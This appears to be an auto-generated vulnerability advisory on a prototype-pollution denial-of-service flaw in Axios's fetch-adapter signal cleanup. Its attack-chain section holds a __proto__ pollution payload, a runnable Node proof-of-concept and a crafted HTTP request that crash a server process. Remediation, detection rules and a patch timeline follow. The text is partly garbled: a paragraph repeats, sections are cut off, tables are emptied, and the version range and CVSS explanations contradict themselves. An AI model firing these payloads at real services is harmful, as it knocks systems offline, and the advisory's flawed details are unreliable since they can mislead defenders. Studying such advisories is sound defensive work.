CVE-2026-139876 — Axios — CWE-1321
Axios 1.7.6 before 1.21.0 contains a prototype pollution gadget in the fetch adapter signal cleanup in lib/helpers/composeSignals.js that allows attackers to crash Node.js processes. Attackers who pollute Object.prototype.unsubscribe with a non-callable value trigger an uncaught TypeError during AbortSignal cleanup, terminating the process when no uncaughtException handler exists.
Axios 1.7.6 before 1.21.0 contains a prototype pollution gadget in the fetch adapter signal cleanup in lib/helpers/composeSignals.js that allows attackers to crash Node.js processes. Attackers who pollute Object.prototype.unsubscribe with a non-callable value trigger an uncaught TypeError during AbortSignal cleanup, terminating the process when no uncaughtException handler exists.
🎯 What is this vulnerability?
CVE‑2026‑139876 is a prototype‑pollution flaw in axios 1.7.6 – 1.21.0 (the axios NPM package).
- CWE‑1321 – Improperly Controlled Modification of Object Prototype – the library accesses
Object.prototype.unsubscribewithout first verifying that the property is a callable function. - The vulnerable code lives in
lib/helpers/composeSignals.js. When a request is made with the fetch adapter, Axios creates anAbortSignalchain. During the cleanup phase it executes:
if (signal.unsubscribe) {
signal.unsubscribe(); // ← assumes unsubscribe is a function
}If an attacker can pollute the global prototype and set Object.prototype.unsubscribe to a non‑callable value (e.g., a number, string, or null), the if test succeeds (the property exists) but the subsequent call throws an uncaught TypeError.
Because the error propagates out of the adapter and is not caught by Axios, the Node.js process terminates when no process.on('uncaughtException') handler is present.
No authentication, authorization, or user interaction is required – the attacker only needs to be able to influence the JavaScript environment that runs the vulnerable Axios code (e.g., by sending a crafted JSON payload that is merged into a request object, or by loading a malicious module that runs before the vulnerable code).
Why the CVSS vector looks the way it does
| Vector | Meaning (relevant to this bug) |
|---|---|
| AV:N – Network reachable (the attacker sends a request over the network). | |
AC:H – High attack complexity (the attacker must be able to inject a prototype‑polluting property, which usually requires control over a JSON body that is later merged with Object.assign or similar). | |
| AT:P – Attack requires a privileged environment only in the sense that the attacker must run code in the same Node.js process (e.g., a malicious client‑side script in a server‑side rendering context). | |
| PR:N – No privileges needed beyond being able to send the request. | |
| UI:N – No user interaction required. | |
| VC:N / VI:N – No impact on confidentiality or integrity. | |
| VA:H – High impact on availability (process crash). | |
| SC:N / SI:N / SA:N – No impact on other security properties. |
The net effect is a Denial‑of‑Service (DoS) condition, not remote code execution or data leakage.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid and illustrative – the exact request path depends on the victim application.
1️⃣ Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| a. Identify the stack | Scan the target for package.json or use a software‑bill‑of‑materials (SBOM) scanner (e.g., syft, cyclonedx-cli). Look for "axios": "1.x" entries. | npm ls axios on the host, or a public GitHub repo. |
| b. Determine the version | Parse package-lock.json or run npm list axios. | Output shows [email protected]. |
| c. Verify vulnerability | Compare version against the vulnerable range (≥ 1.7.6 && < 1.21.0). | If the version falls in that range, the host is a candidate. |
2️⃣ Exploitation
The attacker must pollute Object.prototype.unsubscribe before Axios performs its cleanup. The most common injection point is a JSON body that the application merges into a request configuration using Object.assign or a similar shallow‑merge utility.
2.1 Prototype‑pollution payload (illustrative)
{
"__proto__": {
"unsubscribe": 12345 // any non‑function value – number, string, null, etc.
}
}If the target code does something akin to:
const cfg = Object.assign({}, userSuppliedBody);
axios(cfg); // cfg now contains the polluted prototypethe global prototype is polluted.
2.2 Triggering the crash
A minimal PoC that reproduces the crash locally (you can adapt it to the target’s endpoint):
# -------------------------------------------------
# 1️⃣ Install the vulnerable version locally
# -------------------------------------------------
npm init -y
npm install [email protected] # any version < 1.21.0
# -------------------------------------------------
# 2️⃣ Create a script that pollutes the prototype
# -------------------------------------------------
cat > exploit.js <<'EOF'
/* eslint-disable no-prototype-builtins */
const axios = require('axios');
// 1️⃣ Pollute the global prototype
Object.prototype.unsubscribe = 42; // non‑callable value
// 2️⃣ Issue a request that uses the fetch adapter (default in Node >= 18)
// The request itself can be to any reachable URL; we use httpbin.org for demo.
axios.get('https://httpbin.org/get')
.then(r => console.log('Response received'))
.catch(e => console.error('Axios error:', e));
EOF
# -------------------------------------------------
# 3️⃣ Run the script – the process should terminate with:
# TypeError: signal.unsubscribe is not a function
# -------------------------------------------------
node exploit.jsWhen run, Node prints a stack trace similar to:
/path/to/node_modules/axios/lib/helpers/composeSignals.js:45
signal.unsubscribe();
^^^^^^^^^
TypeError: signal.unsubscribe is not a function
at composeSignals (.../axios/lib/helpers/composeSignals.js:45:17)
at ... (rest of stack)Because the exception is uncaught, the process exits with a non‑zero status – the DoS effect.
2.3 Network‑based illustration (illustrative endpoint)
If the vulnerable service exposes an HTTP API that accepts a JSON body and later merges it into an Axios config, an attacker could send:
POST /api/v1/report HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
Content-Length: 78
{
"__proto__": {
"unsubscribe": "boom"
},
"url": "https://httpbin.org/get"
}The exact path (/api/v1/report) is illustrative; the attacker must locate the real endpoint that performs the unsafe merge.
3️⃣ Post‑exploitation (Impact)
pm2, systemd) restarts it. In a production environment with auto‑restart (e.g., pm2 with restart_delay), the service may bounce repeatedly, leading to service degradation and possible resource exhaustion (log spamming, repeated crash‑restart cycles).
🌍 Real‑World Impact
| CIA Triad | Impact | Reasoning |
|---|---|---|
| Confidentiality (C) | None | No data is read or leaked. |
| Integrity (I) | None | No data is modified. |
| Availability (A) | High | The process terminates; if the service is critical (e.g., API gateway, payment processor), downtime can be severe. |
Practical consequences
🛡️ Remediation & Mitigation
1️⃣ Patch the library
| Affected range | Fixed in |
|---|---|
axios ≥ 1.7.6 && < 1.21.0 | ≥ 1.21.0 (the first release that removes the vulnerable cleanup code) |
Action:
npm install axios@^1.21.0 # or a later stable versionIf you use a lockfile (package-lock.json or yarn.lock), regenerate it after the upgrade.
2️⃣ Work‑around (if immediate upgrade is impossible)
| Technique | How to apply |
|---|---|
| Freeze the prototype | Add early in the application start‑up: <br>Object.defineProperty(Object.prototype, 'unsubscribe', { value: undefined, writable: false, configurable: false }); <br>This prevents any later assignment to Object.prototype.unsubscribe. |
| Validate incoming objects | Reject any payload that contains a __proto__ or constructor key before merging. Example (Express middleware): <br>``js\nfunction rejectProto(req, res, next) {\n const hasProto = JSON.stringify(req.body).includes('__proto__');\n if (hasProto) return res.status(400).send('Invalid payload');\n next();\n}\napp.use(express.json(), rejectProto);\n` |
| Wrap Axios calls in a safe adapter | Use a custom wrapper that catches all errors from Axios and logs them instead of letting them bubble up: <br>`js\nasync function safeAxios(config) {\n try { return await axios(config); }\n catch (e) { console.error('Axios error (handled):', e); return null; }\n}\n` |
| Process‑level guard | Register a global uncaughtException handler that logs the error and gracefully shuts down the service (e.g., process.exit(1) after cleanup) instead of crashing abruptly. <br>process.on('uncaughtException', (err) => { console.error('Uncaught:', err); /* graceful shutdown */ });` |
3️⃣ Detection – what to look for in logs / monitoring
| Indicator | Example log entry |
|---|---|
| Node.js process termination | 2026-11-30T12:34:56.789Z - error: Uncaught Exception: TypeError: signal.unsubscribe is not a function |
| Stack trace referencing composeSignals.js | at composeSignals (/app/node_modules/axios/lib/helpers/composeSignals.js:45:17) |
| Repeated crash‑restart loops (systemd, pm2) | pm2 restart app (2) - exited with code 1 |
Incoming JSON containing __proto__ (if you log raw bodies) | {"__proto__":{"unsubscribe":"boom"}} |
| Alert from APM (e.g., New Relic, Datadog) – “Process terminated unexpectedly” | process.exit event with exit code 1 |
Monitoring suggestions
/healthz) – alert on failure. process.on('uncaughtException') – log the stack and raise an alert. __proto__ keys:# ModSecurity example (illustrative)
SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:400,msg:'Prototype pollution attempt'"
SecRule REQUEST_BODY "@contains \"__proto__\"" "t:none"npm audit or nsp to flag the vulnerable version.⚠️ Urgency
Object.assign(req.body, defaults)). Patch priority: Critical for any production service that runs the vulnerable Axios version, especially if the service:
uncaughtException handler. | Timeframe | Action |
|---|---|
| 0‑24 h | Verify version, apply the upgrade to ≥ 1.21.0 in a staging environment, run regression tests. |
| 24‑48 h | Deploy the patched version to production or apply the prototype‑freeze workaround if an immediate upgrade is impossible. |
| ≤ 7 days | Implement detection (log monitoring, WAF rule) and add a global uncaughtException guard to reduce impact of any missed instances. |
| ≤ 30 days | Conduct a code‑review for other prototype‑pollution sinks (Object.assign, _.merge, deepmerge, etc.) across the codebase. |
Given the availability‑only impact, the main business risk is service downtime and potential SLA violations. In high‑availability environments (financial services, health‑care APIs, public portals) the risk justifies immediate remediation.
Bottom line: Upgrade Axios to 1.21.0 or later as soon as possible, add a defensive prototype‑freeze or input‑validation layer, and monitor for the specific
TypeError stack trace. This will eliminate the DoS vector introduced by CVE‑2026‑139876.[🤖 CVE Professor AI Security Engine]
FOFA Query